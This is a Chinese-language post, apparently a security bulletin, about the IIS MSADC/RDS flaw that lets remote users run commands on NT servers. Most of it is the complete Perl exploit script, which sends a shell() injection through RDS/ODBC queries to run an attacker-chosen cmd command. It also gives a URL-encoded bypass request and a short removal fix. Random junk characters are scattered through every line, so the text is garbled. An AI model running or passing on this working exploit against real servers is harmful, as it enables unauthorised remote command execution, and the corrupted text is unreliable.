IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;Hp' x_xQ l@J|p # 0q 涉及程序：
j 3-6WUO Microsoft NT server
GE+csnA2 YaT+BRh? 描述：
EAXU{dRV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q/-j`'A_pb L A %al @ 详细：
I>o;
%} 如果你没有时间读详细内容的话，就删除:
CWsv#XOg] c:\Program Files\Common Files\System\Msadc\msadcs.dll
w$:)wyR- 有关的安全问题就没有了。
>$52B9ie w} q@VVB% 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
R AQ;O J15T!_AW< 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
"Un SZ[;t 关于利用ODBC远程漏洞的描述，请参看:
QF "&~ na:^7:I http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wSF#;lqd CyDf[C)= 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#R4KBXN http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^Es)?>eah Xb]?/7
X 这里不再论述。
kzpbs?<; j|dzd<kE6 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
-\C6j o`! :Q!+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
K05Y;URbd 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q & Ahr svjFy/T(lL bx e 9 7] #将下面这段保存为txt文件，然后: "perl -x 文件名"
Ayt!a+J
NX_S #!perl
,)G+h#Y[* #
t3JPxg]0k' # MSADC/RDS 'usage' (aka exploit) script
vqZM89 xY #
*tPY # by rain.forest.puppy
TFPq( i #
IOqyqt' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P;p g+L.I # beta test and find errors!
=JH,RQ
* GFk te use Socket; use Getopt::Std;
$m
oa8 getopts("e:vd:h:XR", \%args);
*3Z#r 1V?)zp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q0Pu6"^ B*N 8:u if (!defined $args{h} && !defined $args{R}) {
L-gF$it\*b print qq~
m uY^Fx Usage: msadc.pl -h <host> { -d <delay> -X -v }
0N_ Da N -h <host> = host you want to scan (ip or domain)
Zotv] P2k -d <seconds> = delay between calls, default 1 second
XX6)( -X = dump Index Server path table, if available
L-dKZ8Q -v = verbose
&H{>7q#r -e = external dictionary file for step 5
!W^II>Y CZ}tQx5 ga Or a -R will resume a command session
_nq n| U6PUt'Kk@ ~; exit;}
Z3{Qtysuv3 p? nVPTh $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+?tNly` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,Z"sh* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i+3b)xtW7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
c[q3O* * $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~'i uh>O) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
XWV ~6" t[~i})yS if (!defined $args{R}){ $ret = &has_msadc;
;ecF~-oku die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
b\mN^P~>A P nvLXE}F print "Please type the NT commandline you want to run (cmd /c assumed):\n"
m%puD 9 . "cmd /c ";
gO36tc:ce $in=<STDIN>; chomp $in;
P6rL;_~e $command="cmd /c " . $in ;
a3[aXe NunT2JP. if (defined $args{R}) {&load; exit;}
3:S "!F 9A aixI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$MHc4FE[ &try_btcustmr;
o? =u#= EIAT*l :NW print "\nStep 2: Trying to make our own DSN...";
FMiYZ1^r &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
K\PS$ xgVt0=q print "\nStep 3: Trying known DSNs...";
% '
Fc%3 &known_dsn;
Gf>T{Q`,is #'T @mA print "\nStep 4: Trying known .mdbs...";
3:RZ@~ u= &known_mdb;
^`$KN0PY LT!4pD:a if (defined $args{e}){
R?k1)n print "\nStep 5: Trying dictionary of DSN names...";
G[<iVt$y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
%pdfGM 9g
aG!! z> print "Sorry Charley...maybe next time?\n";
g.'4uqU exit;
'
x|B' f3O3pIA ##############################################################################
wTLHg2'y^ ,}<v: ! sub sendraw { # ripped and modded from whisker
lVt gg? sleep($delay); # it's a DoS on the server! At least on mine...
/3fo=7G6 my ($pstr)=@_;
#Ew} @t9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8Og9P1jVh die("Socket problems\n");
SU:Cm: $ if(connect(S,pack "SnA4x8",2,80,$target)){
W Z ZD select(S); $|=1;
@|M10r9E print $pstr; my @in=<S>;
+I U]=qS select(STDOUT); close(S);
VFyt9:a return @in;
V 9+7A } else { die("Can't connect...\n"); }}
edm&,p h] $0WAhq ##############################################################################
mZORV3bN j1g^Q$B>m sub make_header { # make the HTTP request
45# `R%3 my $msadc=<<EOT
?qdG)jo= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
H|Eu,eq-E User-Agent: ACTIVEDATA
y- g5`@ Host: $ip
Fw=-gb_. Content-Length: $clen
+* &!u=%G Connection: Keep-Alive
@ wB$qd;v K,J:i^2 ADCClientVersion:01.06
WL>"hkx Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0L|A hhwV )Z --!ADM!ROX!YOUR!WORLD!
_m@QeO'yh Content-Type: application/x-varg
iNha<iS+ Content-Length: $reqlen
8(J&_7u Op%}.9 e d EOT
gx~79;6 ; $msadc=~s/\n/\r\n/g;
hD TiXc return $msadc;}
tp"dho qP@d)XRQ ##############################################################################
x@/ N9* L>V Z-j sub make_req { # make the RDS request
XG2&_u& my ($switch, $p1, $p2)=@_;
p w(eWP my $req=""; my $t1, $t2, $query, $dsn;
{YnR]| 0& ,w&8 &wj if ($switch==1){ # this is the btcustmr.mdb query
Ln-/
9'^
$query="Select * from Customers where City=" . make_shell();
|eH >55 b $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e%. Xya#\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Hg$t,\j ~u | k1 elsif ($switch==2){ # this is general make table query
C":i56 $query="create table AZZ (B int, C varchar(10))";
wi]ya\(*yl $dsn="$p1";}
t:y}
7un 7 $AEh+f elsif ($switch==3){ # this is general exploit table query
ernZfd{H $query="select * from AZZ where C=" . make_shell();
9ReH@5_bGM $dsn="$p1";}
Sz4G,c (s`oJ LW> elsif ($switch==4){ # attempt to hork file info from index server
P6q`i< $query="select path from scope()";
I!'PvIyO $dsn="Provider=MSIDXS;";}
AfAg#75q 3>LyEXOW elsif ($switch==5){ # bad query
n-iy;L^b $query="select";
}@Rq'VPZd $dsn="$p1";}
/Xa_Xg7 R&M v|R $t1= make_unicode($query);
L,G{ t^j $t2= make_unicode($dsn);
fNjxdG{a $req = "\x02\x00\x03\x00";
uFxhr2
<z $req.= "\x08\x00" . pack ("S1", length($t1));
ukM1 1LD5x $req.= "\x00\x00" . $t1 ;
sbnNk(XINQ $req.= "\x08\x00" . pack ("S1", length($t2));
`-qRZh@ E $req.= "\x00\x00" . $t2 ;
V^Gz7`^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
AL*P 2 \8 return $req;}
*6uZ"4rb. Ut"~I)S{LT ##############################################################################
`U:W (\L K5X,J/n sub make_shell { # this makes the shell() statement
Y4E UW% return "'|shell(\"$command\")|'";}
wkSIQL #H]b Xr ##############################################################################
5:[<pY!s# yL =*yC sub make_unicode { # quick little function to convert to unicode
F!v`. _] my ($in)=@_; my $out;
"$)Nd+ny for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
j TVh`d< N return $out;}
qf7:Q?+.| p4} ,xQzB ##############################################################################
2E q?^ )s B _ ;W! sub rdo_success { # checks for RDO return success (this is kludge)
FFE IsB"9 my (@in) = @_; my $base=content_start(@in);
t{)Z$ )' if($in[$base]=~/multipart\/mixed/){
m~KG B" return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3@ u<Sa return 0;}
&S\q*H=}i 'k|?M ##############################################################################
1<Vc[p& K(*QhKX sub make_dsn { # this makes a DSN for us
'E sN{.l ? my @drives=("c","d","e","f");
\W^Mo>l print "\nMaking DSN: ";
p7.j>w1F foreach $drive (@drives) {
#ma#oWqF } print "$drive: ";
@ 8[3 ]< my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x9fNIuAQ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
t- Rp_2t . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8<z]rLQw?% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P( z# Wk return 0 if $2 eq "404"; # not found/doesn't exist
4 [@`j{ if($2 eq "200") {
^1d"Rqtv foreach $line (@results) {
qw]:oh&G return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
j\V9o 9D } return 0;}
Fi8'3/q-^ +q z"+g ##############################################################################
%m8;Lh- X L%D:g y9o sub verify_exists {
jI`1>>N&1 my ($page)=@_;
&?.k-:iN my @results=sendraw("GET $page HTTP/1.0\n\n");
-C9 _gZ return $results[0];}
*0 y|0J+ 0 V?{[IMRC ##############################################################################
WdXi ZzDE sub try_btcustmr {
#N`~. 96 my @drives=("c","d","e","f");
,TuDG*YA my @dirs=("winnt","winnt35","winnt351","win","windows");
b >R/=tx eQBR *@x foreach $dir (@dirs) {
FB<#N+L \ print "$dir -> "; # fun status so you can see progress
~WS;)Q0| foreach $drive (@drives) {
I?sA)!8 print "$drive: "; # ditto
2 {t i])
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
U1&pcwP $reqlenlen=length( "$reqlen" );
J \iyc,M<M $clen= 206 + $reqlenlen + $reqlen;
v634{:'e -7_`6U2" my @results=sendraw(make_header() . make_req(1,$drive,$dir));
2l43/aCq if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
UL0%oJ# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]e0yC zh2gU@" ##############################################################################
R(dVE\ u sS$"6 sub odbc_error {
AF5$U8jf my (@in)=@_; my $base;
!f~ =p my $base = content_start(@in);
]fH U/% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"*o54z5" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y( M- $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_I;+p eq $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L,Jl#
S return $in[$base+4].$in[$base+5].$in[$base+6];}
/I2RU2|B print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~.4-\M6[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
esCm`?qCP $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;lqtw]4v N 3IF j ##############################################################################
|%JJ
S^) r3a$n$Qw sub verbose {
#BQ7rF7CNE my ($in)=@_;
*%JncK ' return if !$verbose;
2#z 6= M~A print STDOUT "\n$in\n";}
Eq >3|(UT K/;FP'. ##############################################################################
n-m +@jR z }]w/`TF sub save {
K-Bf=7F, my ($p1, $p2, $p3, $p4)=@_;
Do@:|n open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w,L P M+ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-u Z bV d close OUT;}
ZKKz?reM' e %VJ:Dj ##############################################################################
[jl'5l d ` aTkIo:ms sub load {
ZM oV !lu my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
H\ A!oB,sw open(IN,"<rds.save") || die("Couldn't open rds.save\n");
a\an @p=<IN>; close(IN);
uWw4l"RK` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/ H+br_D9 $target= inet_aton($ip) || die("inet_aton problems");
@DgJxY| print "Resuming to $ip ...";
/6 0 `"xH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k|W =kt$ P if($p[1]==1) {
sY__ak!> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
O_8ERxj
g] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'0_Z:\ laU my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T.kmoL lH if (rdo_success(@results)){print "Success!\n";}
0ra VC=[ else { print "failed\n"; verbose(odbc_error(@results));}}
:5X1Tr= A elsif ($p[1]==3){
&0*l=!:G^ if(run_query("$p[3]")){
j.MpQ^eJ7 print "Success!\n";} else { print "failed\n"; }}
82F q}N
< elsif ($p[1]==4){
q0Fq7rWP if(run_query($drvst . "$p[3]")){
}5gAxR, print "Success!\n"; } else { print "failed\n"; }}
X%W_cb2 exit;}
O/\ L0\T [.DSY[!8U ##############################################################################
;=X6pK o)' u%m sub create_table {
QC.W R'. my ($in)=@_;
?Dro)fH1 $reqlen=length( make_req(2,$in,"") ) - 28;
-o\$.Q3 $reqlenlen=length( "$reqlen" );
$Z)Dvy| $clen= 206 + $reqlenlen + $reqlen;
PbOLN$hP my @results=sendraw(make_header() . make_req(2,$in,""));
7kU:91zR return 1 if rdo_success(@results);
iMRb`
\KH my $temp= odbc_error(@results); verbose($temp);
2SU G/-P# return 1 if $temp=~/Table 'AZZ' already exists/;
f!;i$Oif return 0;}
IdTeue o Xwoi ! ##############################################################################
5 VIpA Kx9Cx 5 B sub known_dsn {
V^ aX^ ; # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~[XDK`B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
CB x 1.xL "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
nt\6o?W "banner", "banners", "ads", "ADCDemo", "ADCTest");
RWmQP%A}aw wVk2Fr( foreach $dSn (@dsns) {
KL]K< A print ".";
~rE U83 next if (!is_access("DSN=$dSn"));
1 GUF,A+_O if(create_table("DSN=$dSn")){
}xTTz,Oj$ print "$dSn successful\n";
Z"# ysC if(run_query("DSN=$dSn")){
pc&/'zb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a$Eqe_ print "Something's borked. Use verbose next time\n";}}} print "\n";}
[dFxW6n (8o~ XL ##############################################################################
S!8eY `C. ghd~p@4 sub is_access {
h!56?4,%Y my ($in)=@_;
eKn&`\j6 $reqlen=length( make_req(5,$in,"") ) - 28;
K^t M$l\ $reqlenlen=length( "$reqlen" );
`Bx3grZ
7& $clen= 206 + $reqlenlen + $reqlen;
6gwjrGje\ my @results=sendraw(make_header() . make_req(5,$in,""));
e/lfT?J\ my $temp= odbc_error(@results);
%lz \w{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
r=4'6! return 0;}
t/WauY2JUC Y2vzK; ##############################################################################
qC?J`
]O',E i ^ sub run_query {
QU16X my ($in)=@_;
XyJ*>;q $reqlen=length( make_req(3,$in,"") ) - 28;
le yhiL< $reqlenlen=length( "$reqlen" );
CJg & $clen= 206 + $reqlenlen + $reqlen;
T+NEw8C?/ my @results=sendraw(make_header() . make_req(3,$in,""));
L
q8}z-? return 1 if rdo_success(@results);
{g\Yy(r
my $temp= odbc_error(@results); verbose($temp);
sLK J<=0i return 0;}
Gm^@lWzG EU]{S=T ##############################################################################
H,txbJ w/KHS#~ sub known_mdb {
1g9Q vz3 my @drives=("c","d","e","f","g");
W%b <(T;
my @dirs=("winnt","winnt35","winnt351","win","windows");
%1SA!1>j my $dir, $drive, $mdb;
aq~hl7MTj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8#' <SB q,V JpqQ # this is sparse, because I don't know of many
3 1KMn my @sysmdbs=( "\\catroot\\icatalog.mdb",
Tn2Z{.q$ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@gENv~m<OI "\\system32\\certmdb.mdb",
q7mqzMDk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
& S_gNa ,kuJWaUC@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.Br2^F "\\cfusion\\cfapps\\forums\\forums_.mdb",
VJBV k8P "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ZT4._|2 "\\cfusion\\cfapps\\security\\realm_.mdb",
AuHOdiJ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?XL [[vyr "\\cfusion\\database\\cfexamples.mdb",
Ya*l q!
u "\\cfusion\\database\\cfsnippets.mdb",
lxj_ (Uo "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
nH}api^0A "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b>;>*'e "\\cfusion\\brighttiger\\database\\cleam.mdb",
'IBs/9=ZC "\\cfusion\\database\\smpolicy.mdb",
P 482D) "\\cfusion\\database\cypress.mdb",
pBiC "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mfFC@~|g "\\website\\cgi-win\\dbsample.mdb",
sY7:Lzs., "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
\lCr~D5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GZ/.eYE ); #these are just
YNc%[S[u^1 foreach $drive (@drives) {
G%S=K2 v foreach $dir (@dirs){
LdI) foreach $mdb (@sysmdbs) {
/ivt 8Uiw print ".";
]0by6hQ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_o~<f)E[9 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
].]yqD4P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g 2;JJ} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Gv>,Ad
ka } else { print "Something's borked. Use verbose next time\n"; }}}}}
U4%d # (S 0MqX* foreach $drive (@drives) {
cZ \#074u/ foreach $mdb (@mdbs) {
` B) ~ print ".";
jIK *psaV if(create_table($drv . $drive . $dir . $mdb)){
,Bp\ i print "\n" . $drive . $dir . $mdb . " successful\n";
f % ZqK_CW if(run_query($drv . $drive . $dir . $mdb)){
?(Dkh ${@ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
K6@ QZc5.! } else { print "Something's borked. Use verbose next time\n"; }}}}
gsI"G }
!EF~I8d\] u@}((V ##############################################################################
V i2 3pDZ5 N/DcaHFYo sub hork_idx {
Fj"g CBaR print "\nAttempting to dump Index Server tables...\n";
vi4u ` print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
i &-g 0
$reqlen=length( make_req(4,"","") ) - 28;
%Z 9<La $reqlenlen=length( "$reqlen" );
+8."z"i3lE $clen= 206 + $reqlenlen + $reqlen;
m;W Up{' my @results=sendraw2(make_header() . make_req(4,"",""));
O;ZU{V Y if (rdo_success(@results)){
AW&HW c~A my $max=@results; my $c; my %d;
*I`Sc|A for($c=19; $c<$max; $c++){
l] WV gu $results[$c]=~s/\x00//g;
S9 <J \`FG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
YM
0f_G= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
1}tZ,w> $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}C/ u>89%q $d{"$1$2"}="";}
4wX{ N foreach $c (keys %d){ print "$c\n"; }
as)2ny! u } else {print "Index server doesn't seem to be installed.\n"; }}
v{i'o 4 1B+MCt4 ##############################################################################
R s_@L}U.. j,80 EhZ sub dsn_dict {
hc5M)0 d open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4
`Z @^W while(<IN>){
pB@8b$8(Z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'BpK(PlUh next if (!is_access("DSN=$dSn"));
pNcNU[c if(create_table("DSN=$dSn")){
$B7<1{<=W print "$dSn successful\n";
5UVQ48aT if(run_query("DSN=$dSn")){
+[UFf3(ON print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P1vr}J print "Something's borked. Use verbose next time\n";}}}
Vpt)?];P print "\n"; close(IN);}
R<Ojaj=V H;k;%Zg; ##############################################################################
QN9$n%Z l:a+o gm3 sub sendraw2 { # ripped and modded from whisker
4HVZ;,q sleep($delay); # it's a DoS on the server! At least on mine...
m( C7F a my ($pstr)=@_;
xH; qJRHa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r[ vMiVb die("Socket problems\n");
X, <&# l if(connect(S,pack "SnA4x8",2,80,$target)){
W=j/2c/ print "Connected. Getting data";
j ?i Ur2 open(OUT,">raw.out"); my @in;
E8T4Nh_ select(S); $|=1; print $pstr;
c ^G\w +_ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
r) T^ Td1 close(OUT); select(STDOUT); close(S); return @in;
KwN o/x|
v } else { die("Can't connect...\n"); }}
Cfyas' -OB72!sKU ##############################################################################
F
71 o{4ya jt sub content_start { # this will take in the server headers
Cnd*%C PZ my (@in)=@_; my $c;
s{NEP/QQJ for ($c=1;$c<500;$c++) {
+Q_X,gZ if($in[$c] =~/^\x0d\x0a/){
%/,PY >:| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
vz) A~"E else { return $c+1; }}}
*ys @ 'Ai? return -1;} # it should never get here actually
y%|nE(( Oo`P +S# ##############################################################################
i92{N$*x }H?8~S = sub funky {
{ Y|h;@j$ my (@in)=@_; my $error=odbc_error(@in);
r6Lb0PzMf if($error=~/ADO could not find the specified provider/){
owCQ71Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
;8 JJ#ED exit;}
/1h`O@VA if($error=~/A Handler is required/){
>f^&^28 print "\nServer has custom handler filters (they most likely are patched)\n";
_0)#-L>xKF exit;}
H.7gSB 1 if($error=~/specified Handler has denied Access/){
L 4zSro:Si print "\nServer has custom handler filters (they most likely are patched)\n";
wHBkaPO! exit;}}
uw
L T$ //JF$o=)D ##############################################################################
*wwLhweQ5W (i |`PA sub has_msadc {
R#
8D}5 [& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1#^[{XlAx my $base=content_start(@results);
Vt5%A}.VQ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+IuV8XT2( return 0;}
!Wvzum@5D 1HN _ ########################
V{HZ/p_Y c?}C { LOX[h$ 解决方案：
9u1_L`+b 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
zr&K0a{hc 2、移除web 目录: /msadc
